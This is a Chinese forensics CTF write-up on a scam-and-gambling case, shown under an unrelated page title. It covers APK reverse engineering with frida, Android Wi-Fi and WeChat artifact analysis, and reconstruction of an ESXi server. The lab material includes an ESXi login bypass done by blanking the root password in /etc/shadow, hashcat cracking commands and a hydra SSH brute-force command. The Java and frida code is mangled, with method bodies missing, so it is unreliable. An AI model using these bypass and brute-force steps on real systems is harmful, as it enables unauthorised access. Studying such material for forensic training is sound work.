数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第338张

读取SD卡内容
使用相机
修改系统设置
修改删除SD卡内容
安装APK

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第339张

<uses-permission android:name="android.permission.FOREGROUND_SERVICE" ></uses-permission>
    <uses-permission android:name="android.permission.SYSTEM_ALERT_WINDOW" ></uses-permission>
    <uses-permission android:name="android.permission.WRITE_EXTERNAL_STORAGE" ></uses-permission>
    <uses-permission android:name="android.permission.READ_EXTERNAL_STORAGE" ></uses-permission>
权限 作用 风险 android.permission.FOREGROUND_SERVICE 允许应用在前台运行服务 可能会持续运行,提高功耗,滥用可能导致隐私泄露 android.permission.SYSTEM_ALERT_WINDOW 允许创建悬浮窗 可能用于恶意覆盖界面,实施钓鱼攻击或欺骗用户 android.permission.WRITE_EXTERNAL_STORAGE 读写外部存储 可能会窃取或篡改用户文件 ndroid.permission.READ_EXTERNAL_STORAGE 读取外部存储 可能访问用户文件

最近探索到了天穹动态分析沙箱:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第340张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第341张

需要脱壳,卡这了,不会。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第342张

我也想要一键脱壳。

以下内容来自WP:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第343张

定位过去,大致看下逻辑,结合交互信息对应的条件可以确定是第几关。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第344张

其中OnClick函数这里有个明显的字符串对比,trim2是我们的输入,从而可以确定答案

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第345张

49. 解锁第二关所使用的FLAG3值为¶

接上题,注意到第二关这里

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第346张

App.OooO0O0.OooO0oo查看用例,发现在这里被初始化。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第347张

分析OooO0O0.OooO0O0,能发现这个函数是把十六进制串转为byte数组。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第348张

decrypt是native函数,从libcipher.so中加载。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第349张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第350张

方法一:通过frida直接hookApp.OooO0O0.OooO0oo的值,模拟器先把frida-server开起来(注意不要给ZTuoExchange root权限),跑脚本frida -U -l hook.js "ZTuoExchange"

setImmediate(function () );
})

方法二:建立Android项目,把需要的文件和函数都放进来,直接调用decryptOooO0O0.OooO0O0获取this.OooO0oo的值。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第351张

参考:https://note.youdao.com/ynoteshare/mobile.html?id=78afde521af47956731c8185624110ec&type=note&_time=1667732405820#/

50. 解锁第三关所需的KEY值由ASCII可显示字符组成,请请分析获取该KEY值¶

注意到这里

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第352张

查看其声明

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第353张

要求字符串长度为24。4个一组,通过移位将4个数构成一个大数,分成6组操作。其中try块里会触发unused异常(强制转换为Integer那里),真正的验证逻辑在catch块中。查看声明,确定OooO函数和OooO0oO数组。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第354张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第355张

可以每4个进行爆破,每个都是可见字符

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第356张

class Main {

    private static int[] OooO0oO = {1197727163, 1106668241, 312918615, 1828680913, 1668105995, 1728985987};

    public static void main(String[] args) 
                        }
                        if (flag)
                            break;
                    }
                    if (flag)
                        break;
                }
                if (flag)
                    break;
            }
        }
     }

    public boolean OooO0O0(String str) 
        long[] jArr = new long[6];
        for (int i = 0; i < str.length() / 4; i++) {
         int i2 = i * 4;
         jArr[i] = (long) (str.charAt(i2) << 16);
         jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 1) << 'b'));
         jArr[i] = jArr[i] | ((long) (str.charAt(i2 + 2) << 24));
         jArr[i] = ((long) str.charAt(i2 + 3)) | jArr[i];
//         PrintStream printStream = System.out;
//         printStream.println("buildKey:i:" + i + ",value:" + jArr[i]);
         }
        try {
            int[] iArr = {1197727043, 1106668192, 312918557, 1828680848, 1668105873, 1728985862};
            Object[] objArr = {'x', '1', ':', 'A', 'z', '}'};
            for (int i3 = 0; i3 < 6; i3++) 
            }
            return true;
        } catch (Exception unused) 
             }
            return true;
        }
    }

     private static long[] OooO(long j, long j2) ;
         }
         long[] OooO = OooO(j2 % j, j);
         return new long[]{((j2 / j) * OooO[0]) + OooO[1], OooO[0]};
     }
 }

2024年4月,卢某报案至警方,声称自己疑似遭受了“杀猪盘”诈骗,大量钱财被骗走。卢某透露,在与某公司交流过程中结识了员工李某。李某私下诱导卢某参与赌博游戏,起初资金出入均属正常。但随后,李某称赌博平台为提升安全性,更换了地址和玩法,转为通过群聊抢红包形式进行赌博。随着赌资不断增加,卢某投入巨额资金后,发现无法再访问该网站,同时李某也失去联系,卢某遂意识到自己被骗。
在经济压力下,卢某选择报警,并承认参与赌博活动,愿意承担相应法律后果。警方依据卢某提供的线索和手机数据,迅速锁定犯罪团伙,并在一藏匿地点成功抓获犯罪嫌疑人李某和赵某。警方对嫌疑人持有的物品进行了证据固定:李某手机被标记为检材1,窝点内服务器为检材2,赵某使用的计算机为检材3。
接下来,请取证工作者根据案情和这些检材进行深入分析,并解答后续问题。

 A. Xiaomi MI 2s
 B. Xiaomi MI 4
 C. Xiaomi MI 6
 D. Xiaomi MI 8

源文件地址:

misc/location/xtra/useragent.txt

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第357张

 A. iPad Pro 11
 B. Vivo Pad 2
 C. MatePad Pro
 D. Xiaomi Pad 6s

火眼取证中得到的WI-FI连接记录中有:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第358张

WIFI连接记录源文件地址:

misc/wifi/WifiConfigStore.xml

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第359张

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<WifiConfigStoreData>
	<int name="Version" value="1" />
	<NetworkList>
		<Network>
			<WifiConfiguration>
				<string name="ConfigKey">&quot;Xiaomi Pad 6S Pro 12.4&quot;WPA_PSK</string>
				<string name="SSID">&quot;Xiaomi Pad 6S Pro 12.4&quot;</string>
				<null name="BSSID" />
				<string name="PreSharedKey">&quot;12345678&quot;</string>
				<null name="WEPKeys" />
				<int name="WEPTxKeyIndex" value="0" />
				<boolean name="HiddenSSID" value="false" />
				<boolean name="RequirePMF" value="false" />
				<byte-array name="AllowedKeyMgmt" num="1">02</byte-array>
				<byte-array name="AllowedProtocols" num="1">03</byte-array>
				<byte-array name="AllowedAuthAlgos" num="1">01</byte-array>
				<byte-array name="AllowedGroupCiphers" num="1">0f</byte-array>
				<byte-array name="AllowedPairwiseCiphers" num="1">06</byte-array>
				<boolean name="Shared" value="true" />
				<int name="Status" value="2" />
				<null name="FQDN" />
				<null name="ProviderFriendlyName" />
				<null name="LinkedNetworksList" />
				<null name="DefaultGwMacAddress" />
				<boolean name="ValidatedInternetAccess" value="true" />
				<boolean name="NoInternetAccessExpected" value="false" />
				<int name="UserApproved" value="0" />
				<boolean name="MeteredHint" value="false" />
				<int name="MeteredOverride" value="0" />
				<boolean name="UseExternalScores" value="false" />
				<int name="NumAssociation" value="3" />
				<int name="CreatorUid" value="1000" />
				<string name="CreatorName">android.uid.system:1000</string>
				<string name="CreationTime">time=03-14 16:55:57.249</string>
				<int name="LastUpdateUid" value="1000" />
				<string name="LastUpdateName">android.uid.system:1000</string>
				<int name="LastConnectUid" value="10014" />
				<boolean name="IsLegacyPasspointConfig" value="false" />
				<long-array name="RoamingConsortiumOIs" num="0" />
				<string name="RandomizedMacAddress">02:00:00:00:00:00</string>
			</WifiConfiguration>
			<NetworkStatus>
				<string name="SelectionStatus">NETWORK_SELECTION_ENABLED</string>
				<string name="DisableReason">NETWORK_SELECTION_ENABLE</string>
				<null name="ConnectChoice" />
				<long name="ConnectChoiceTimeStamp" value="-1" />
				<boolean name="HasEverConnected" value="true" />
			</NetworkStatus>
			<IpConfiguration>
				<string name="IpAssignment">DHCP</string>
				<string name="ProxySettings">NONE</string>
			</IpConfiguration>
		</Network>
	</NetworkList>
	<PasspointConfigData>
		<long name="ProviderIndex" value="0" />
	</PasspointConfigData>
</WifiConfigStoreData>
字段名 类型 内容 用途解释 Version int 1 配置文件版本号,当前是第1版 ConfigKey string "Xiaomi Pad 6S Pro 12.4"WPA_PSK 网络配置唯一键,由SSID和加密方式拼接 SSID string "Xiaomi Pad 6S Pro 12.4" WiFi网络名称(即SSID) BSSID null 空 连接过的AP设备MAC地址,当前为空(未指定) PreSharedKey string "12345678" WiFi密码(PSK) WEPKeys null 空 WEP加密密钥,当前未使用WEP WEPTxKeyIndex int 0 WEP加密使用的密钥索引,默认0 HiddenSSID boolean false 该WiFi是否隐藏SSID(false表示公开广播) RequirePMF boolean false 是否要求PMF(Protected Management Frames,增强安全性) AllowedKeyMgmt byte-array 02 允许的密钥管理方式(02通常是WPA-PSK) AllowedProtocols byte-array 03 支持的协议(03一般代表RSN和WPA) AllowedAuthAlgos byte-array 01 允许的认证算法(01通常表示OPEN) AllowedGroupCiphers byte-array 0f 支持的组密码(0f代表多种,比如TKIP, CCMP) AllowedPairwiseCiphers byte-array 06 支持的点对点加密方式(06一般是CCMP和TKIP) Shared boolean true 该配置是否允许共享给其他用户 Status int 2 网络状态(2通常是CURRENT,已连接) FQDN null 空 完全限定域名(用于Passpoint Wi-Fi),为空表示普通WiFi ProviderFriendlyName null 空 Passpoint提供商友好名称,当前为空 LinkedNetworksList null 空 关联网络列表,当前无关联 DefaultGwMacAddress null 空 默认网关MAC地址 ValidatedInternetAccess boolean true 已验证该WiFi有互联网访问 NoInternetAccessExpected boolean false 不期望该网络没有互联网访问 UserApproved int 0 用户批准状态(0表示未特别批准) MeteredHint boolean false 是否提示该网络是计量网络(false即不限流) MeteredOverride int 0 用户手动设置的计量覆盖状态(0代表自动判断) UseExternalScores boolean false 是否使用外部评分机制评估网络质量 NumAssociation int 3 连接过该WiFi的次数 CreatorUid int 1000 创建该配置的系统UID(1000是系统进程) CreatorName string android.uid.system:1000 创建者名称 CreationTime string time=03-14 16:55:57.249 配置创建的时间戳 LastUpdateUid int 1000 最后一次更新配置的用户UID LastUpdateName string android.uid.system:1000 最后一次更新配置的用户名 LastConnectUid int 10014 最后一次连接该WiFi的应用或用户的UID IsLegacyPasspointConfig boolean false 是否是旧版Passpoint配置(false表示普通WiFi) RoamingConsortiumOIs long-array 空数组 漫游联盟组织ID(一般用于Passpoint,当前没有) RandomizedMacAddress string 02:00:00:00:00:00 随机化的MAC地址(防跟踪,默认无效) SelectionStatus string NETWORK_SELECTION_ENABLED 网络选择状态(已启用,可以自动连接) DisableReason string NETWORK_SELECTION_ENABLE 当前网络启用原因 ConnectChoice null 空 指定连接首选项(无) ConnectChoiceTimeStamp long -1 首选连接时间戳(-1表示无) HasEverConnected boolean true 是否曾经成功连接过该WiFi IpAssignment string DHCP IP分配方式(DHCP自动获取) ProxySettings string NONE 代理设置(无代理) ProviderIndex long 0 Passpoint配置索引(0表示无)

关注字段<WifiConfiguration>(Wi-Fi基本配置)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第360张

手机开启热点设置源文件地址:

misc/wifi/softap.conf

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第361张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第362张

微信内部ID源文件地址:

data/com.tencent.mm/shared_prefs/com.tencent.mm_preferences.xml

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第363张

<?xml version='1.0' encoding='utf-8' standalone='yes' ?>
<map>
	<long name="sql_trace_child_thread_interval_time" value="1000" />
	<boolean name="Main_ShortCut" value="true" />
	<long name="sql_trace_file_full_size" value="30720" />
	<boolean name="hasInitVoiceControlData" value="false" />
	<long name="sql_trace_child_transaction_interval_time" value="5000" />
	<int name="com.tencent.mm.gallery.cache.suffix" value="0" />
	<long name="handler_log_file_max_size" value="35840" />
	<long name="handler_debug_log_time" value="15000" />
	<long name="sql_trace_log_file_max_size" value="35840" />
	<boolean name="Main_need_read_top_margin" value="false" />
	<boolean name="isLogin" value="true" />
	<boolean name="screenResolution_isModifyDensity" value="false" />
	<int name="last_reportdevice_channel" value="0" />
	<string name="reg_last_exit_ui">L200_100</string>
	<long name="handler_trace_file_full_size" value="30720" />
	<boolean name="room_placed_to_the_top" value="false" />
	<long name="MMTempKeyStepLogger-Last-Clean-Time" value="1710796506617" />
	<boolean name="hasTryToInitVoiceControlData" value="true" />
	<string name="login_weixin_username">wxid_wnigmud8aj6j12</string>
	<int name="last_reportdevice_clientversion" value="671099444" />
	<int name="com.tencent.mm.plugin.gallery.cache.cache-file-num" value="5" />
	<string name="last_avatar_path">/data/user/0/com.tencent.mm/MicroMsg/last_avatar_dir/user_8ef509bc8096a195ef7e1f9ee4610c88.png</string>
	<string name="last_login_use_voice">32768</string>
	<int name="com.tencent.mm.plugin.gallery.cache.cache-up-to-date" value="1" />
	<string name="login_user_name">16601931006</string>
	<long name="trace_config_last_update_time" value="1710489503467" />
	<string name="last_login_bind_mobile">16601931006</string>
	<string name="last_login_uin">2969892847</string>
	<long name="handler_upload_time_interval" value="86400000" />
	<int name="Main_top_marign" value="72" />
	<long name="handler_debug_log_time_main" value="1500" />
	<int name="heavy_user_session_cnt" value="8" />
	<long name="sql_trace_main_thread_interval_time" value="500" />
	<boolean name="room_notify_new_msg" value="false" />
	<string name="last_login_nick_name">бб</string>
	<string name="last_bind_info">4</string>
	<long name="sql_upload_time_interval" value="10800000" />
	<boolean name="force_notify" value="false" />
	<int name="com.tencent.mm.compatible.util.keybord.height" value="747" />
	<long name="sql_trace_main_thread_select_interval_time" value="300" />
	<long name="sql_trace_main_thread_update_interval_time" value="500" />
</map>
字段名 类型 内容 用途解释 sql_trace_child_thread_interval_time long 1000 子线程SQL追踪记录间隔时间,单位毫秒 Main_ShortCut boolean true 是否在桌面创建主界面快捷方式 sql_trace_file_full_size long 30720 SQL追踪日志文件达到该大小(KB)后轮转 hasInitVoiceControlData boolean false 是否已初始化语音控制数据 sql_trace_child_transaction_interval_time long 5000 子线程SQL事务追踪记录间隔时间,单位毫秒 com.tencent.mm.gallery.cache.suffix int 0 微信图库缓存文件后缀标识(通常为缓存控制) handler_log_file_max_size long 35840 Handler日志文件最大大小(KB) handler_debug_log_time long 15000 调试日志输出的间隔时间,单位毫秒 sql_trace_log_file_max_size long 35840 SQL追踪日志文件最大限制(KB) Main_need_read_top_margin boolean false 主界面是否需要读取顶部边距 isLogin boolean true 是否已经登录微信账号 screenResolution_isModifyDensity boolean false 是否修改了屏幕密度(用于分辨率适配) last_reportdevice_channel int 0 上一次设备上报时的渠道标识 reg_last_exit_ui string L200_100 注册流程最后退出的界面代号 handler_trace_file_full_size long 30720 Handler追踪日志文件最大大小(KB) room_placed_to_the_top boolean false 聊天室是否置顶(用于群聊) MMTempKeyStepLogger-Last-Clean-Time long 1710796506617 临时日志清理的最后时间戳 hasTryToInitVoiceControlData boolean true 是否尝试初始化语音控制数据 login_weixin_username string wxid_wnigmud8aj6j12 微信内部用户ID(wxid开头的) last_reportdevice_clientversion int 671099444 上一次设备信息上报时的微信客户端版本号 com.tencent.mm.plugin.gallery.cache.cache-file-num int 5 图库缓存文件的数量限制 last_avatar_path string /data/.../user_xxxx.png 最近登录用户的头像文件路径 last_login_use_voice string 32768 最近登录时是否使用了语音(一般为标识位) com.tencent.mm.plugin.gallery.cache.cache-up-to-date int 1 图库缓存是否是最新的标志 login_user_name string 16601931006 最近登录用的微信账号(手机号) trace_config_last_update_time long 1710489503467 最后一次追踪配置更新时间戳 last_login_bind_mobile string 16601931006 最近绑定的手机号 last_login_uin string 2969892847 最近登录用户的微信UIN(内部账号ID) handler_upload_time_interval long 86400000 Handler日志上传时间间隔(单位:毫秒,86400000ms=一天) Main_top_marign int 72 主界面顶部边距高度(像素) handler_debug_log_time_main long 1500 主线程Handler调试日志时间间隔 heavy_user_session_cnt int 8 大量使用者的会话次数(用于优化策略) sql_trace_main_thread_interval_time long 500 主线程SQL追踪记录间隔,单位毫秒 room_notify_new_msg boolean false 群聊是否新消息提醒 last_login_nick_name string бб 最近登录微信昵称(这里是俄文字母) last_bind_info string 4 最后绑定信息(可能与绑定手机号或邮箱有关) sql_upload_time_interval long 10800000 SQL日志上传时间间隔(单位毫秒,约3小时) force_notify boolean false 是否强制推送通知 com.tencent.mm.compatible.util.keybord.height int 747 软键盘高度(像素) sql_trace_main_thread_select_interval_time long 300 主线程SQL select操作追踪时间间隔 sql_trace_main_thread_update_interval_time long 500 主线程SQL update操作追踪时间间隔

关注字段login_weixin_username

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第364张

扫码解密即可(新佛曰没了)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第365张

微信聊天记录解密(参考文章:导出微信的聊天记录并解密EnMicroMsg.db – Yaodo Blog)

微信聊天历史记录源文件:

data/com.tencent.mm/MicroMsg/a4acf80ba7af680ea2f4be21d60063d8/EnMicroMsg.db

微信聊天历史记录解密文件:

data/com.tencent.mm/shared_prefs/auth_info_key_prefs.xml

很快找出受害者

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第366张

 A. 03-14 15:55:57
 B. 03-14 16:55:57
 C. 03-14 17:55:57
 D. 03-14 18:55:57

从题目2中源文件的分析中得出第一次连接WIFI的时间

重点关注关键词CreationTime(WIFI配置创建的时间戳)

 A. 12:00-14:00
 B. 14:00-16:00
 C. 16:00-18:00
 D. 18:00-20:00

分析聊天记录

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第367张

大声密谋

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第368张

看他微信号:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第369张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第370张

(原文地址:第四届FIC线上赛,官方复盘在这里!)

写在题目解析前面,服务器部分ESXI的重组会影响到做题的方法和进度,此处列举两种ESXI的重构和绕密方法:

  • 手动挂载绕密,可以不用额外挂载数据盘,难点是绕密。
  • 火眼仿真,可以直接绕过ESXI的密码,难点是挂载数据盘问题,需要手动挂载。(竞赛之后,弘连火眼项目组已经修复了ESXi的仿真问题,新版本的仿真软件可以直接启动自动挂载了,此方法不在列举)

在比赛当时,两种方法在重构难度上基本相同,不存在捷径。手动绕密看似更难,却可以实现百分百仿真,因为虚拟机设置可能存在开机自启等选项,该种方式可以在系统启动时正常加载所有虚拟机。这就像一次往返可能来回是不同的线路,很多人会选择眼前较近的路,在火眼仿真后再去手动挂盘。

这里我们主要介绍一下手动绕密自动挂盘的方式。

(1)首先使用FTK挂载ESXI的镜像。(此处注意点:挂载选项选择“物理”和“逻辑”;注意选择“逻辑”挂载是因为需要进入分区修改shadow文件)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第371张

(2)打开FTK挂载出来的虚拟磁盘,在250MB大小的一个分区找到state.gz文件。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第372张

解压层级为:State.tgz -> local.tgz -> /etc(建议使用7Z工具打开,直接在目录中点击编辑即可修改shadow文件,修改完成之后直接点保存即可)

(3)有了etc目录,绕密方式就比较明显了,将/etc/shadow文件root密码置空,重新按照路径选择tar.gz压缩回去后替换原文件。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第373张

(4)替换后完成后,使用VMware选择“创建新的虚拟机”,使用FTK挂载的物理磁盘,创建完成之后,即可启动新的虚拟机,ESXi密码此时已被清除,可以直接空密码登录。(由于是集群仿真,在仿真时需要勾选cpu嵌套虚拟化功能“Intel VT-x/AMD-V”,否则无法在虚拟机中再开虚拟机)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第374张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第375张

(5)建议(此步骤可以不做):ESXi环境启动之后(网络配置通畅),使用VMware自带的“连接远程服务器”功能,管理虚拟机会更加便捷,做题效率会提高。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第376张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第377张

(6)进入ESXi环境之后,所有虚拟机都没有提供密码,由于都是本地设备,可以采用单用户模式绕掉开机密码,网上教程很多,本文不做展开。(OpenWRT服务器终端默认空密码登录)

ESXi(全称:VMware ESXi)是VMware公司开发的一种企业级虚拟化平台,属于“裸机(bare-metal)”虚拟化技术。

简单讲就是:

  • ESXi是一个极小型的操作系统,专门用于在一台物理服务器上运行多个虚拟机(VM)。
  • 它直接安装在物理服务器硬件上,不需要额外的操作系统(比如Windows或者Linux)作为中间层。
  • 它主要负责把底层硬件资源(CPU、内存、硬盘、网络)分配给上层的多个虚拟机,每个虚拟机都可以装不同的操作系统,比如Windows、Linux等。

仿真后即可看到:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第378张

A. 2024年3月12日星期二 02:04:15 UTC
B. 2024年3月12日星期二 02:05:15 UTC
C. 2024年3月12日星期二 02:06:15 UTC
D. 2024年3月12日星期二 02:07:15 UTC

配置好网卡,即可在192.168.8.112中访问到管理页面

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第379张

可以发现系统的安装日期

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第380张

由题目1可知

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第381张

ESXI服务器的IP地址C段为192.168.8.1/24

启动网站服务器虚拟机,进行扫描探测存活:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第382张

思路一:找到网站服务器对应的虚拟机,其对应的VMDK文件为www-flat.vmdk,导出vmdk或者ftk挂载ESXi的E01,使用hashcat等爆破软件破解源检材中的/etc/shadow文件即可。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第383张

hashcat -m 1800 shadow -a 3 ?l?l?l?l?l?l
hashcat -m 1800 shadow -a 0 commonPwd.txt

思路二:在Windows检材内密码本也有该密码,也可以使用hydra,passware kit等工具扫爆。

(Hydra等服务爆破工具其实是非预期解,在获取检材情况下,可以通过技术手段获取所有有用信息对内容做拆解,而非使用黑盒方式获取,如果考察不可登录用户,或有ssh安全策略加固,则无法使用hydra等工具。)

hydra -l root -P commonPwd.txt ssh://192.168.8.89

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第384张

有宝塔面板,查看端口即可:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第385张

默认建站目录:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第386张

没有发现网站源码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第387张

可以发现日志有解压网站源码操作:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第388张

找到源码:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第389张

面板中配置的跟本地的不同,以本地为主:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第390张

网站在jar包中,也是为了引导去分析webapp下的jar包内容。查看ruoyi-admin.jar的配置文件application.yml明确redis超时时间:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第391张

导出ruoyi-damin.jar后,使用jadx打开。找到并跟进登录逻辑,可以通过搜索login或者账户、密码等关键词找到com.ruoyi.app.service.impl.UserInfoServiceImpl.login,进而看到盐值,由于这题答案符号较多,注意答题时去掉双引号

这里使用jd-GUI进行分析,找到BOOT-INF/classes/com.ruoyi/web/controller/app/UserController.class中的盐:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第392张

 A. des
 B. rsa
 C. md5
 D. bcrypt

思路一:数据库查看密码特征,这需要了解每个密码特征

(1)Des为对称加密,一般不用做密码加密,解密需要密钥;

(2)Rsa为非对称加密,一般也不用做密码而是密钥,结果一般为hex或者base64格式;

(3)Md5常见密码加密策略,这个大家应该都熟,结果为16/32位hex;

(4)Bcrypt常见密码加密策略,linux的shadow文件经典加密算法。特征为有多个$符号隔开。

启动数据库需要仿真data虚拟机,密码可在Windows内密码本爆破,做法与网站服务器类似。

同时Windows浏览器保存的openwrt密码和数据库服务器密码相同,当然这不是常规思路,但是如果临时猜解可以直接成功。(详见检材3计算机部分17题)

进入后发现服务器本身无mysql,简单查看或者使用火眼分析即可看到docker中有Mysql。

启动docker以及mysql容器即可,mysql密码在宝塔和docker inspect均可找到。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第393张

查看数据库,管理员用户信息记录在sys_use表,password列存储的就是密码密文。通过特征,可以确定为bcrypt。后面可以据此进行网站绕密。

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第394张

思路二:BOOT-INF/lib/ruoyi-common/com.ruoyi.common/utils/SecurityUtils.class

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第395张

从此步骤开始在这里与Windows部分交叉做题

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第396张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第397张

计算其SHA1值即可

跳转到这个加密镜像的位置,发现了密码字典(可用于服务器集群部分的题目中)

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第398张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第399张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第400张

简单的隐写

加载上题得到的加密容器,得到恢复密钥:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第401张

404052-011088-453090-291500-377751-349536-330429-257235

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第402张

用密钥解密磁盘,进行挂载即可查看:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第403张

加密盘中存在信息:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第404张

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第405张

 A. stable diffusion
 B. ROOP
 C. Midjourney
 D. DiffusionDraw

搜索关键词得到:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第406张

powershell历史记录中有:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第407张

powershell历史记录源文件:

/Users/L/AppData/Roaming/Microsoft/Windows/PowerShell/PSReadLine/ConsoleHost_history.txt

由上题可知

由上上题可知

在Chrome浏览器历史记录里面可以找到解密url地址:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第408张

思路一:浏览记录中有:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第409张

思路二:之前手机检材中的聊天记录中有:

数字OT坏了怎么修数字取证DIDCTF(超级缓慢更新)_https://www.jmylbn.com_新闻资讯_第410张

 A. 2024-03-14 20:30:08
 B. 2024-03-14 20:31:08
 C. 2024-03-14 20:32:08
 D. 2024-03-14 20:33:08

由上题分析可知

